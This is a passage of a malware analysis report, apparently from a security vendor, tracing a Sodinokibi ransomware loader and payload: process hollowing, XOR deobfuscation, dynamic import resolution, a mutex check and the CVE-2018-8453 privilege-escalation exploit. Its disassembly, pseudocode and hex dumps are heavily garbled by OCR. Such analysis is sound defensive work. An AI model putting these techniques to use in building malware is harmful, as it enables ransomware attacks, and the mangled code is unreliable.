GetServerStatus with 4. We proceed to see what GetServerStatus does, which obtains “V3 Service”
and 0 as parameters.

bocl  usercall ServerStatusCheckfi<als:(int alfi<ecx», int a2f@i<edx>, int a3f@<eax:)
return GetServerStatus(a3, a2) == 4;

Figure 4.2.2. Function ServerStatusCheck.

This subroutine makes a call to the function OpenSCManagerA, which carries out a connection with
the service manager and tries to access the“V3 Service”.

If it manages to gain access, with the function OpenServiceA it accesses the service again, and
with QueryServiceStatus it obtains the status of the service, which it will return as a result of

the subroutine. The status of the service corresponds to a numerical code, which checks that it
corresponds to 4, i.e., checks that the service is functioning. Once it checks that it is functioning
and that the executable “autoup” isin the indicated path, it carries out a sleep, and finally, process
hollowing on the service by calling StartProcessHollowing.

S3 o= 8y
4 = OpenSCManagerA(V3 Service, @, lu);
5 = _.i
if ( wd )
1
v6 = OpenServiceA(vs, a2, 4u);
7 = v}
if ( ve )
1
if { QueryServiceStatus(ws, &w9) )
/3 = va,.dwCurrentstate;
CloseServiceHandle(v7};
¥
CloseserviceHandle(vs);
h

return v3;

}

Figure 4.2.3. Function StartProcessHollowing.

If the AV isn't installed, the call to EDRCheck launches an instance of PowerShell and tries to carry out
process hollowing.

& = (CHAR *)sub_4@3F8C();
5 = (const CHAR *)sub_4B83FBC();
f ( CreateProcessA(vs, v3, @, @, @, 4u, @, 8, & tartupInfo, &ProcessInformaticn} }

lpContext = (LPCONTEXT)sub_412884();
if ( lpContext }

lpContext-»ContextFlags = 65543;
if ( GetThreadContext(ProcessInformation.hThread, lpContext) )

ReadProcessMemory(
ocessInformation.hProcess,
D){lpContext->Ebx + B),

&Number0fBytesRead);
if ( *(_DWORD *)({v4 + 52) == Buffer

&& NtUnmapViewOfSection(ProcessInformation.hProcess, *(PVOID *)({v4 + 52)) )
1

lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, @, *(_DWORD *)(v4 + B8), @x3000u, @xdou);
h
else
{

Figure 4.2.4. Function EDRCheck
. 18
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Una vez se ha realizado el Process Hollowing, veremos, como de nuevo, vuelve a desofuscar mediante
una XOR, usando la misma técnica que hemos visto en la Fase 1, con el objetivo de extraer el payload
del Sodinokibi

jle installi_payload_desofuscado_00780000.412C78
xor byte ptr ds:[esi],bl

inc esi

dec eax

jne installil_payload_desofuscado_00750000.412C72
XOr eax,eax

004DCe5 S 300 oA 290 00|03 00 00 00|04 OO0 OO OO|FF FF OO0 OO|(MZE.......... Y. .
004DCEEE|C2 00 OO0 00|00 OO0 00 00|40 00 DD OO|00 OO0 OO0 OO|A....... B e
004DCe7E | 00 00 00 00|00 Q0 FE OOQI100 7B OO OOQ(0Q0 OO OO0 OD|...... HocHeocoooro
004DCES8 | 00 00 00 FE(OD OO0 OO0 00|00 OO0 OO0 OO0(DO0 00 O0 00| awefeeeannns

- B...
004DCESE | OE 1F BA OE|(7E B4 09 CD|21 BB 01 4C|CD 21 54 &8|..=.{ .Ir .LI!Th
004DCEAB| 69 73 20 7FO(72 14 &7 72|61 6D 20 63|61 6E 6E 14|15 pr.gram cann.
004DCEES | 74 20 &2 1E|(20 72 75 GE|20 69 &E 20|44 4F 53 20|t b. run in DOS

An A Een |l ae e A Te A AR Aan TRl TR TR TR e &+ rrrrr

Figure 4.2.5. Dynamically deobfuscating the Sodinokibi payload.

5. Sodinokibi

Once we have the payload, we are left with the last part of the ransomware. The main diagram of its
phases, which we will follow in this section, and a brief summary of its parts, is the following:

M

3 Attributes:

_Main proc near

call _GetLibraries
call _CreateMutex
test eax, eax

jz short loc_482FCB

call _CheckEXP
test eax, eax

jz short loc_482FE@

call _GetCurrentProcID
push eax
call _Exploit
pop ecx
A J
]

call _EXIT

pop eCx call _GetProcessRun

jmp short loc_482FEA| |call _PrepareCipher

loc_482FEA:

call nullsub_1
xor eax, eax
retn 4

_Main endp

Figure 5.1: General diagram of Sodinokibi
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GetLibraries: This function dynamically loads libraries that will later be used.

CreateMutex: Creates a Mutex.

CheckExp: Checks if it needs to escalate privileges. Exp is the value that it will check, which will
be True or False on the Json, depending on whether or not it has sufficient privileges.

Exploit: Carries out Exploit CVE 2018-8453.

GetProcessRun: Obtains and launches Explorer.exe.
PrepareCipher: Carries out all of Sodinokibi’ s tasks, obtains Json, executes language lists, lists
of processes to end, deleting ShadowCopies, etc.

5.1. Obtaining Import Address Table (IAT)

After the two loader phases, we get the MD5 payload: B4A88BDEEAEDA94A273E4746DB0082841, which
is the ransomware Sodinokibi, which is obfuscated and has no import. This means that the imports

will have to be obtained dynamically.

LI L DU U g PN T LU L L L

Imports D

Address

Ordinal Mame Library

FFigure 5.1.1. Imports of the sample

In the main function you can see that it carries out a call to two functions. The first of these has more
code, and the second carries out a dynamic call. This call is an ExitProcess, which means that the

important actions are carried out in the first call.

public start

start proc near

push 8

call sub_482FB3

push @

call exid’r‘ocess

pop ecx

retn

start endp ; Attributes

exitProcess

arg_e

push
mov
push
call
pop
retn

exitProcess endp
3 (Synchronized w

proc near

bp-based frame

; CODE XREF: sub_¢
; sub_4@2FB3+l@tp

= dword ptr &

ebp

ebp, esp

[ebptarg_8]

dword_41B698 ; ExitProcess
ebp

Figure 5.1.2. Function on the entrypoint.

In the first function, the first thing carried out is to dynamically import the functions of the system that
itis going to use. To obtain them, it uses a loop to call a function, changing the entry parameters.

s

loc 4B52B4:

push dword_41B628[esi]

call _BuildIAT

mov dword_41B628[esi], eax
add esi, 4

pop ecx

cmp esi, 21@h

jb short loc_4852B4

Figure 5.1.3. Loop to obtain system functions.
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This function translates the number that it has as an entry parameter into the function in the
corresponding library.

This function is divided into two parts; the first obtains the library and the second obtains the specific
function.

Get library

Get function

Iiij

Figure 5.1.4. Structure of “_BuildIAT”

For the part where the library is obtained, it starts by carrying out operations on the entry parameter

This number is used to go through the different nested ifs and finishes in the function that gives the '
library what it has requested.

¥ L ] L . ] X
IS PEE] FEE FEE]
loc 4@5514: loc_4@5516: loc_4@5554: loc_4@5522:
mov eax, 0ffset___ObtencioKer‘nelB2d11 mov eax, 0‘F‘Fset_0btencioGdi32dll mov eax, [ebpt+arg_8]| |mov eax, offset sub_ser
jmp short loc_485573 Jmp short loc_485573 Jjmp short loc_485573| |jmp short loc_485573
I
loc 4@5573:
call eax ; sub_4@53F5
mov edi, eax
test edi, edi
jz short loc_4@55CC

Figure 5.1.5. Functions to obtain libraries.
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Let’ s take a look at how one of these functions work, for example, the function “_advapi32dIl”.

_advapi32 d1l proc near |
var_18= byte ptr -18h
var_4= byte ptr -4

push ebp

mowv ebp, esp

sub esp, 1@h

lea eax, [ebptvar_ 18]
push eax

push ach

push 8Eh

push @DCh

push offset unk 418833
call sodin_decript_string
ET ) E=p, LZN

Mo [ebptvar_4], @
lea eax, [ebptvar_ 18]
push eax

push L 78286874h

call BuildIAT

pop ECX

call eax |

Figure 5.1.6. Function “_advapi32dll”.

This function calls odin_decrypt_string in order to get the name of the library that it wants to obtain,
in this case advapi32.dll. Once it has the name of the library, it needs to load it in memory. For this it
needs the function kernel32.LoadLibrary, which is obtained by calling _BuildIAT” giving it the value
57820074h.

- “ Hide FFU

EAX DO18FFZ4 "advapi3z.dil”
EBEX FEFDEOQOO

ECX OO00006C 1"

Fhy ANNNNNT 2 "oar

Figure 5.1.7 Deobfuscated string.

Once it has the address of the function kernel32.LoadLibrary, located in eax, it only has to call it,
moving the name of the library to the top of the stack. This will load the library in memory (if itisn’ t
already loaded) and will return its position.

S ESEhi R I T EAX 76A5439D7 <kernel3z.LoadLibraryss
E:EIeéix EEX FEFDEOODOD

mov 2sp, ebp ECX  0000054F L'S"

pop ebp EDX 76B370BD kernel3z.76B370BD

ret EEP O018FF34

push ebp ESP 0018FF20 &"advapi3z.di1”

Figure 5.1.8. Call to LoadLibraryA.
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In the second part of _BuildIAT, the desired function is obtained from the library that was previously
obtained. To do this, it carries out operations using a list of functions as entry data, and obtains a
number that is added to the base address of the library and obtains the function address.

Once we know how a function is obtained from a library, we can return to figure 5.1.3, where we can

Address

Hex

ASCTII

76BE32FBB
76B32FCE
76E32FDE
76B32FEB
76B32FFB
76E3300B
76E3301B
76BE33202B
76B3303B
76E3304B
76E3305B
76E33206E
76E3307B
76E3308B
76E33209B
76E3320AB
76E330EB

41
&C
69
74
61
65
&eD
00
79
65
43
&F
&C
78
41
74
41

64
54
70
65
&0
72
65
41
44
63
61
72
&5
63
64
65
&C

&4
&F
74
72
65
BE
57
&4
65
75
&C
[
72
65
BA
00
aC

439
4z
&F
BE
41
61
00
&4
73
72
&C
&4
00
70
75
41
&F

B6E 74 &5 &7 |72
6F 75 GE 64|61
72 00 41 64|64
6l 74 65 42 |6F
00 41 64 64 |4C
74 65 43 6F | 6D
41 64 64 52|65
532 49 44 54|6F
63 72 69 70|74
65 4D &5 6D |6F
62 61 &3 &E|0DO0
42 6F GE 74|69
41 64 64 56|65
74 69 6F GE|48
732 74 43 Bl1|6C
6C 6C 6F 632|432
63 61 74 65|55

(]
72
4C
&l
&F
70
(1)
42
&F
72
41
&E
63
61
(3
&F
73

4C
&5
61
74
6C
65
74
G6E
41
61
e
48
72
B8C
61
&F
50

61
73
eC
65
41
72
43
64
64
B3
65
61
&5
65
72
&C
&8

62 65
63 72
41 6C
72 4E
&6C 74
4E 61
74 78
61 72
64 53
68 B5
63 74
GE &4
64 45
72 00
44 61
&5 00
79 73

AddIntegrityLabe
1ToBoundaryDescr
iptor.addLocalal
ternateComputernN
amed. AddLocalAlt
ernateComputerNa
mew . addRefActCtx
. AddSIDToEBoundar
yhescriptor.Adds
ecureMemoryCache
callback. addvect
or edContinueHand
ler.AddvectoredE
xceptionHandler.
AdjustcCalendarba
te.AllocConsole.
AllocateUserPhys

WO W T

mov 2Cx, dword
movzx eax,word ptr ds:[eax+ebx=2]
ptr ds:[ecx+eax=4]

add eax,edi

push ebp

mov ebp,esp

sub esp,C

Figure 5.1.9. Entry data to obtain the function address.

IE@Q DDDl4BD4I

(9}

-
ptr

oy T e T

s5:ebp-Cli

i.4055CE

Tea eax,dword ptr ss:[febp-Cf
Figure 5.1.10: Obtaining the address.

nch aaw

L p”
ECX TED34A64 advapi3z.7eD34A64
EDX  76D394CE advapi3z.76D394CE
EEF  0018FF54
ESP  0018FF3C
EST Oo04nnaFE
[ERl__ 7eD20000 advapi3z.7eDz0000 |

see that it makes the loop to obtain all the system functions that it needs, and stores them, creating an
IAT (Import Address Table).

< panda

esi=14

Wt B B

00405 Z2EF

B RN B R

mov dword ptr ds:[esi+<&0penProcessToken=],sax

add esi,s

e

LLext:004052C5 sodinokibi.fil:$52C5 #46C5

a WatchGuard brand

Figure 5.1.10: Creation of the IAT

Boumpl | BYoump2 | @Y Dump3 | @4 Dump4 | @4 Dump 5 | ) watch 1 | [
Address | Hex ASCIT

0041628 |04 43 D3 7o |EE 54 A 7o I8 E8 11 A8 7o DCOVIT wih.
0041B638 i 7L|94A 72 80 OB |O0OB ED AE 40 ﬂﬁ@vﬂ.&u.r..;
nn41RR4RIF? 57 02 07|74 ¢2 9r 95 lns FR Fo RRIF7 24 an nalbw. .tA_ . _BA =

23
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5.2. Preparacion y Mutex

Along the same lines, we see that where we had a dword, we now had an OpenProcessTokek. As you
can see, this brings us to all of the imports that it will run through.

.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
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@e41B623
@a41B623
@a41B623
@a41B62C
2a41B62C
28416638
284168636
28418631
@a41B632
@841B633
2841B634
28416634
2a41B633
@a41B633
@a41B63C
@841B63C
284168648
2e41B648

Before:

Ll e =
loc_4@52B4:
push dword_41B628[esi]
call _BuildIAT
mov dword_41B628[esi], eax
add esi, 4
pop ecx
cmp esi, 21@h
jb short loc_4852B4

T

After:

Lol e [+
loc_4@52B84:
push OpenProcessToken[esi]
call _BuildIAT
mov OpenProcessToken[esi], eax
add esi, 4
pop ecx
cmp esi, 21éh
jb short loc_ 485284

T

; int OpenProcessToken[ ]
OpehProcessToken dd 3B@4441Ch ; DATA XREF: sub_4@8334E+13tr
3 sub_483956+121r ...
; BOOL _ stdcall FindNextFileW(HANDLE hFindFile, LPWIN32_FIND DATAW lpFindFileD
FindMextFilewW dd 49E61E@7h 3 DATA XREF: sub_4@5974+1A91r
; DWORD _ stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh)
GetFileSize db &Bh ; k

db 8%h ; i
db 88h ; °
db 3Eh ; >
; DWORD _ stdcall GetCurrentProcessId()
GetCurrentProcessId dd @C193967Fh ; DATA XREF: j_GetCurrentProcessIdfr

; BOOL _ stdcall GetQueuedCompletionStatus(HANDLE CompletionPort, LPDWORD lpNum
GetQueuedCompletionStatus dd @CDB319A6Fh ; DATA XREF: sub_ 485872+151r
3 int _ stdcall FillRect(HDC hDC, const RECT *lprc, HBRUSH hbr)

FillRect dd 5838FD91h 3 DATA XREF: sub_4@832BE+ESTr
3 BOOL _ stdcall wWinHttpReadData(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwN
WinHttoReadData dd 8B38729Ah : DATA XREF: sub 4@85DEG+49Tr

Figure 5.2.1. Change after obtaining the imports.
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After creating the IAT, it checks to see if it is executing in an instance of itself on the system. To do
this, it uses the Mutex function, using a string that it deobfuscates as an identifier. In this sample, the
identifier is:

“Global\\3555A3D6-37B3-0919-F7BE-F3AAB5B6644A” .

call sodin_decrypt_string ; L"Global\\3555A3D6-37B83-8919-F7BE-F3AABSB6644A™
add esp, 14h

xor eax, eax

mov [ebpt+var_2], ax

xor esi, esi

lea eax, [ebptvar 58]

push eax 3 nombre del mutex->L"Global\\3555A3D6-37B3-8919-F7BE-F3AABSBEEA4A™
push esi ; B

push esi ; B

call CreateMutexid ; CreateMutex

mow dword_41C83C, eax ; mutexhandler

Figure 5.2.2: Mutex function

5.3. Privilege scaling Exploit CVE 2018-8453

5.3.1 Checking if it has to scale privileges

Once it has checked the Mutex, it checks its settings file to see whether or not it has to scale privileges.
This file is a Json that extracts one of its sections and will be explained below.

The parameter that indicates if it needs to scale privileges is exp. If it is false, it won’ t scale privileges.
To know the value of exp, it processes the Json data, changing false and true into zero or one.

01F5FALS

Figure 5.3.1.1: Processed Json data

00| 00 00 00 IIIIZIEEPFAiElDi 00 00 EIEI|

AP AP AR AR e e a e P

This sample doesn’ t need to scale privileges because it has already scaled them, so exp:false. . Itis
common for this kind of malware to make several checks and privilege scales in different phases
in order to reach its target even without the loader, explained in point four. In this case, this
exploit function was totally skipped in the execution since exp=false.

5.3.2 Exploitation

In order to scale privileges, it uses the vulnerability CVE-2018-8453, which exploits a vulnerability in
win32k.

Vulnerabilidad en productos Microsoft (CVE-2018-8453)

Tipo: Apagado o liberacion incorrecto de recursos
Gravedad: Alta [

Fecha publicacién : 10/10/2018

Ultima medificacién: 02/10/2019

Descripcion

Inerabilidad de elevacién d

Figure 5.3.2.1: Explanation of CVE-2018-8453

It starts by obtaining the folder containing the file needed for the exploitation, Win32k, so it needs to
exploit the file in order to exploit it.
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Empieza obteniendo la carpeta donde esta el fichero mediante las funciones It starts by obtaining the
file containing the file via the functions Wow64DisableWow64Redirection and GetSystemDirectoryw.

Wow64DisableWow64Redirection makes sure the calls are not redirected to the 64bit folder and
GetSystemDirectoryw of the system folder when it requests the system folder with a 32bit folder.

h 4

lea eax, [ebptvar_14]

push eax

call Wow64DisableWows4FsRedirection

test eax, eax

jz loc_ae62A4

L J

push 184h
lea eax, [ebp+var_288]
push eax
call GetSystemDirectoryW
test eax, eax
jz short loc_486198

Disables file system redirection for the calling thread. File system

redirection is enabled by default.

Figure 5.3.2.2: Disbaling Wow64FsRedirection.

This gives the address “c:\\windows\\system32”. This joins the strings that deobfuscate win32kfull.sys
and win32k.sys, thus obtaining the full name of the file needed to carry out the exploit.

< panda
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8D85 7FBFDFFFF
50
E8 1AESFFFF

5
FF15 0O8B74100

[or— ———
call sodin_decrypt_string ; win32kfull.sys
xor Eax, eax
mov [ebp+var 4@8], ax
lea eax, [ebp+var_3C]
push eax
push 14h
push =z
push BBFh ; '":
push esi
call sedin_decrypt_string ; win32k.sys
lea eax,dword ptr ss:[Jebp-zss])
push eax eax:L"C:YWWwindowsh\system32h\win32kfull.sys"
call payload_d112_xor_pe. 404776
pop ecx ecx:L"win3z2kfull.sys"
pop ecx ecx:L"win3z2kfull.sys"
push eax eax:L"C:\Wwindowsh\system3zh \win3zkfull.sys"

€all dword ptr ds: [<&GetFileAttributesExi=]

Figure 5.3.2.3: Getting the name via win32kfull.sys.
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Finally, it checks which of the two files exists in the system using GetFileAttributesEXw. If it doesn’ t
exist, there is an error and it returns 0. In our case, the existing file is win32k.sys. It also checks that the
file is old enough to be exploited via CompareFileTime

lea eax, [ebptvar_24]
push eax

lea eax, [ebp+var_6C]
push eax

call CompareFileTime
Xor eCX, EBCX

test eax, eax

cmovns  edi, ecx

buéh edax eax: L"C: % \Windows\\system32y \win3zkfull. sys"
€all dword ptr ds:[<&GetFileattributesEx:=]

——— _____ — e —__

- [ Hide FPU

push eax

cdll dword ptr ds:[<&GetFileAttributesExws>]
test eax,eax

ie pavload dl1z xor oe.40627E

| EAX 00000000

—— e ———

Figure 5.3.2.4: Checking files on the system.

In the following function, it will first check the architecture of the processor. The main aim is to find out
how much memory it needs to reserve to carry out the exploit, if it needs to do so. It reserves 38400
(0x9600) space in memory, or if not, 13824 (0x3600).

if ( result )
1
if ( ArchType() )
1
2= L"E";
w3 = (WCHAR *)3B408;
¥
else
1
¢2 = (wchar_t *)&unk_414858;
o3 = (WCHAR *313824;
¥
BOOL ArchType()
1
struct _SYSTEM_INFO v1; // [esp+@h] [ebp-24h]

GetNativeSystemInfol&vl);
return vl.u.s.wProcessorfArchitecture == 9;

}

The processor architecture of the installed operating system. Thi

Value Meaning

PROCESSOR_ARCHITECTURE_AMD64 x64 (AMD or Intel)
9

Figure 5.3.2.5: Checking architecture.
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It will then know the space it needs and will carry out a VirtualAlloc to reserve memory and copy this
exploit to the assigned space.

U UD L L JME Ay Iuaud_ U TS AU T TUTLE D
0040611E mov ebx,payload_d112_xor_pe. 414850
00406123 mov esi, 3600
loc_488128: push edi
. 00406129 push 40
push edi D040612E push 3000
push 4ah 00406130 push esi
004061321 push 0
push BB?Eh 00406133 call dword ptr ds: [<&WirtualAlloc=]
push esi 00406139 mov edi,eax
ush ) 0040613E test edi,edi
P . . 00406130 je payload_dl112_xor_pe.40614F
call InternetConfirmZoneCrossingW| | oo40612F push esi
. 00406140 push ebx
mow edi, eax 00406141 |push edi
test edi, edi 00406142 €all payload_dl112_xor_pe.40358E
. 00406147 add esp,C
1z short 10:—48614F 00406144 push dward ptr ss:|lebp+&]

Figure 5.3.2.6: Reserving memory.

The exploit is stored in the section .rdata, and will be copied to this section.

| rmmm e -

test edi,edi
je payload_d112_xor_pe.40614F AX N02 20000
push esi Tamarfio EBX  0040B250

push ebx Origen
push edi Destino ECX  0E1B0000

call payload_d112_xor_pe. 40358 Copia EDX  OOOBE3CS

add egp?‘; — EEF  O0OD18FF78

push dword ptr ss:|[ebp+&] ESP Q018EFC

call edi ODDOQEDOI

pop edi
Address | Hex ASCII
00408250 [[E8 00 00 00|00 59 83 E9(05 83 EC 4C(55 53 56 57 |B....Y.&. . 1LUSWVW
0040B260 | 8B E9 33 C9|64 8B 35 30|00 00 00 BB|ZE 0C BB 7&|.E&3Ed.50....v..V
0040B270|1C 8B 46 08|8B FE 20 B8B|36 66 33 4F|18 75 F2 80|..F..~ .&F30.ub.

oo40B280 (| ZE _QC 22 7O |EC 8D BS FO|O1 00 OO0 BD|ED _ES Q1 00 .:3uﬁ.pa....ﬁe..

0040B2590 (00 ES BF 01|00 0O BD B5|00 02 OO0 OO(50 50 50 59 .B....vuenan PPPY
0040B2A0 (8D 71 3C AD|S8D S5C 08 18|ES 15 00 00|00 53 E8 77|.Q<..%..B....YEw
0040B2B0 (00 00 00 SB(53 10 58 03 |DO 5F 5E SE(5D 83 C4 4C|....5.X.B_A[].AL
0040B2C0O | FF E2 8B F1(2B 73 1C 85|F6 74 SE 89|74 24 30 8D|ya.hA+s..6tA T30

0040B2D0 | 43 &0 8B 78(2C 85 FF 74|50 89 7C 24|38 8B 40 28|C .X,.VtP.|38.@(
0040B2E0 |02 C1 89 44|24 34 BB 50|04 8D 74 10|FE 89 74 24| .A.D$4.P..t.p.t%
0040B2F0 | 3C 8D 50 OB8|3B 54 24 3C|77 21 OF B7 |32 66 BE FE|«<.P.;Th<w!. -2T.p
ArnaAanaAanl -r o na FrToRnlreAa Ta oAar rrloae Fe re o oAarElAas A AT A F - P F e Mo

00220000 |[ES 00 00 OO|00 59 83 E9|05 83 EC 4C (55 00 00 OO|E....Y.&..1LU...
00220010 | 00 OO OO OO|OO OO OO OO|00 OO OO OOD|OD OO0 OO0 OO ...ccceeiennnnnns

00220020 |00 0O OO OO)OO OO OO OO|00 OO0 OO Q0|00 OO0 OO0 OO vsssesssnnnnnns
00220030 |00 OO OO OO)|OO OO OO OO|0O0 OO OO QOO0 00 OO0 OO0 ...cceeiennnnnns
00220040 |00 00 OO OOQ)OQ OO0 QO Q0|00 OO0 OO0 Q0|00 OO0 00 OO0 .uiseesssannnnns

00220050100 OO OO OOIOQO OO OO OOI00 OO OO QOIDD 00 OO0 OOl ... v i nnana.

00400000 | 00001000 | payload_dil2z_xor_pe. il

O000AQ00 | . Text”
0040B000 | 00010000 | “.rdata”™
nna1ennnl nonn>nonl 7 daraT

Figure 5.3.2.7: Exploit stored in .rdata.
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Once it has the exploit in memory, it will dynamically load the libraries, where it first obtains the
functions LoadLibrary and GetProcAddress. It then uses these functions to load and obtain the
addresses of the functions that it will need to create its own IAT.

00228A00
00225A04
0022808
00228A0C
00225410
00228A14
00228418
00228A1C
00228420
00228424
00228A28
00228A2C
00228430
002284A34
00228435
00228A3C
00225A40
0022844
00225445
00228A4C
00228A50
00225A54
00228A58
00228A5C
00225460
00228564
00225465
00228A6C
00228A70
00228A7 4
0022BATSE
00228A7C
00228A80
00225A84
00228A88
00228A8C
00225430
00228A94
00225438
00228A3C
00228AA0
002254aA4
00228AA8
00228AAC
00228AEB0
00228AB4
00225ABS
00228ABC
00225AC0

00228AC4
0022B8ACE
00228ACC
00225AD0
00225AD4
00228AD8
00228ADC
0022E8AED
0022BAE4
0022BAES
0022B8AEC
00228AF0D
00228AF4
00228AFE
00228AFC
00228800
0022E8B04
0022E8B08
0022E8B0C
0022E8E10
00228E14
00228E18
00228B1C
00228E20
00228624

76AADSAD
76A8195E
76AB49CA
76A81136
76A9D5B5
7EeABTA2F
76A834D5
76AB14FB
76A814C9
76481450
76AB10FF
771EEO26
76MA81215
76A811E0
76A8328C
76AB4A2D
76A8435F
76MA9CF28
76481809
76A832BB
76AB43EF
76481245
76A849AD
76481410
76A814E9
76MAB3587
76484507
00000000
750FD918
750C3FCS
00000000
753835982
7537EEOQ9
753857A4
75379ABB
753D67FB
7538D5F2
7538612E
75377809
7537D22E
772024E0
7538434B
753CD222
75386110
753886F3
75385483
75380DFE
75380296
7538790F

75383BAA
75383208
75378E4E
75379A55
75377BBB
75377BD3
753B9783
753800FA
753790D3
75382D64
00000000
74DDDEZE
74DD32310
74DF35D1
74DD327320
00000000
771EE208
771EDF85
F771EO8AC
F71F873A
771EEQ26
771DFECE
771DFABD
771DFB48
771EO1ES

kernelzz. setThreadaffinitymask
kernel3z. IswowG4Process
kernel3z. GetsystemInfo
kernel3z.waitForSingleObject
kernel3z.GetExitCodeThread
kernelzz. TerminateThread
kernel3z.CreateThread
kernel3z. Tissetvalue
kernel3z. HeapFree
kernel3z.GetCurrentThreadId
kernelzz.sleep
ntdl1.Rt1AllocateHeap
kernel2z.51eepEx
kernel3z.TisGetvalue
kernel3z.CreateEventA
kernel2z.Heaplreate
kernel3z.virtualProtect
kernel3z. setPriorityClass
kernel3z.GetCurrentProcess
kernel3z. SetThreadPriority
kernelzz.ResumeThread
kernel3z.GetModuleHandleA
kernelzz. T1sAalloc
kernel3z.CloseHandle
kernel32.GetProcessHeap
kernel3z.TI1sFree
kernel3z.LoadLibraryA

rpcrt4. UuidToStringA
rpcrt4.RpcStringFreed

user3z.uUnhookwinEvent
user32. setwinEventHook
user3z.CreateMenu
user3z.PostQuitMessage
user32. AappendMenui
user3z.setClassLongA
user32. sendvessages
user3z.TranslateMessage
user3z.CcreatewindowExa
ntd11.Ntdl1pefwindowProc_a
user3i2.RegisterClassA
user3z, setMmenuInfo
user32. SetwindowLongé
user32.getclassLongA
user32,. setClassLongw
user32. showwindow
user32. setThreadDesktop
user3z.GetClassNamed

user3z.PostMessageA
user3z.setActivewindow
user3z. setwWindowPos
user3z.Destroywindow
user3z.DispatchMessageA
user3z.GetMessageA
user3z.CreateDesktopA
user3z.Closebesktop
user3z.SystemParametersInfow
user3z.SetParent

msvcrt._stricmp
msvcrt.memcpy
msvert. _snwprintf
msvert.memset

ntd11.Rt1InituUnicodeString
ntd11.Rt1FreeHeap
ntd11.NtCreateTimer
ntdl11.RtlGetvVersion
ntd11.Rt1AllocateHeap
ntdl1.ZwCal1backReturn
ntd11.ZwAllocatevVirtualMemory
ntd11.ZwFreeVirtualMemory
ntd11.ZwsetTimer

Figure 5.3.2.8: Loading of libraries.
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Once it has all the functions, it will then carry out the exploit.

00228636

€all z27D83 ; _cve 2018 _8453_xB86_exploit

002285EC

mov ebp,esp
push ecx
push ebx
xor ebx,ebx

push esi

xor esi,esi

inc ebx

mov dword ptr ss:lebp— L ebx
cmp dword ptr ss:|lebp+8J,esi
je 228647

DOZ2285FF

mov eax,dword ptr l:[z0]

mov dword ptr ds:[228978],eax
€all zzsgoBC

test eax,eax

je 228647

push esi

lea eax,dword ptr ss:[[ebp-4
push eax

push esi

1025

dword ptr ds:[
mov ecx,dword ptr ss:[[ebp+sl
cmp dword ptr ds:[22897C],ebx
jne 228636

0022862F
€all zz674E ; _CreacionDeHilo

stemParametersInfow=]

jmp 22863

00228636

cmp dword ptr ds:[228974],0
mov esi,eax

cmovne esi,ebx

00228647
mov eax,esi

mov esp,ebp

Bk 5

Figure 5.3.2.9: Diagram of the Exploit function in x32dbg.

5.4. Process securing

We then get to the function, renamed GetProcessRun. We can see that it obtains a process handle
(GetCurrentProcess), given that there is a compare, before the token, to check if it already has the
data it needs from the process and can go to the final part. Otherwise, it opens the process token and
obtains the information from the token with GetTokenInformation. It then closes the handle. It carries
out all operations correctly, as, when it calls the functions, a 1 is returned. As this is NONZERO, this
means that the processes are being opened correctly.

© panda

a WatchGuard brand

loc_4@2FER:

_GetProcessRun

_PrepareCipher
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push ebp
mow ebp, esp
sub esp, @Ch
and [ebpt+var_4], @
lea eax, [ebptvar_ B8]
push eax
push 3
push [ebp+arg_@]
call OpenProcessToken
test eax, eax
jz short loc_ 483398
L J

I

call GetCurrentProcess Lea eax, [ebp+var_C]

. push eax

mov esi, eax push 4

call sub_4830D3 leah eax, [ebptvar_4]
pus eax

Mo ecx, 688h hush o

cmp ax, cx push [ebp+var_8]

jl’J loc 4BA3ET call GetTokenInformation

Figure 5.4.1. Function to obtain a process.

We then see that it does the same, but does not check the SID dynamically. In the function, several
steps will have been skipped, and it will have reached the end without executing anything else. We can
see that it makes use of GetForegroundWindow and ShellSexecuteW, which, even dynamically, are not
executed at this moment. They will later be used to capture a processes launched by the ransomware
and to execute certain commands.

/5 = 6@;
v a;
/21 = @
GetForegroundWindow(};
8 = &uio:

)

fme me fme s

[

fme e me

[

[
1
(]
Eapn L =~ I~ I e e~ i g I
[ '

while

IshellExecuteExW( (SHELLEXECUTETNFOW *)&vS) )

Figure 5.4.2. ShellExecuteW function.

In the following function, it mainly carries out a deobfuscation. It will obtain an explorer.exe, which
will be used to check the SID later on, which will carry out the JMP, since, when comparing it with the
EAX registry value, it is 3000 not 4000.

_PreparacionCifrado proc near
push esi
push edi
call _SnapshotOpenProcessl
loc 4B2FEB: call —JsonTxt
call GetProcessRunf |mov esl, eax
= . test esi, esi
call _PrepareCipher| |5 short loc_48286F
52 op 2Cx
3D 00400000 Eng eax, 4000 | +||_Show FPU
w75 65 Jjne payload_d112_xor_pe.403CAZ
[ED45 ED Teéad eax,dword pLr S&:[Qebp-20] E;; 3223:333
2 L N SR ECX  FFFFEFFF
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if ( DbenProcessToken(a;, 8u, &ve) )

if

eax: L 'EXP- orer . sxas” : GetTokenInformation(vs, TokenIntegritylewvel, &v4, @x4Cu, (PDWORD)&VS) )

vd;
Isvalidsid(va) )
1 = v2[*((unsigned _ intd *}v2 + 1) + 1];

._...
e
I |

eax: L"explorer.exa”

1
. ~ . CIERRA_HANDLE(vG);
edx:L explorer.axe 1
return vi1j

Figure 5.4.3. Obtaining explorer.exe.

As a consequence of this, it skips everything else and goes straight to the XOR, which means, for now,
we only have one explorer.exe open, where an ID has been checked.

|jnz short loc_483CA2 |
_ A J
(il e =
lea eax, [ebptvar_28]
push eax
call _Snapshot
pop ecx
push eax
push a
push 2@00228h
call OpenProcess
mov edi, eax
test edi, edi
jnz short loc_483C5F

lea eax, [ebptvar_4]
push eax

push BF@LFFh

push edi

call OpenProcessToken
test eax, eax

jnz short loc_483C7C

push edi
call  _CIERRA HANDLE
pop ecx
jmp short loc_483C5B
J Y B A 4 ——¥
loc_4@3C5B: loc_483C7C: loc_4B3CA2:
xor eax, eax push esi xor eax, eax
jmp short loc_483CAS| |push [ebp+var_4] inc eax
call ImpersonateloggedOnUser
push edi
mov esi. eax

Figure 5.4.3. Skipping to the end of the function
5.5. TXT and JSON

n the following routine, one of the most important in the execution, we see the following:

_PrepareCipher proc near
push esi

push edi

call _SnapshotOpenProcess
call _JsonTxt

mow esi, eax

test esi, esi

jz short loc 4@82B6F

Figura 5.5.1: Funcién _JsonTxt.
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Further on, we see that it will obtain relevant information, such as the file extension and the user
name.

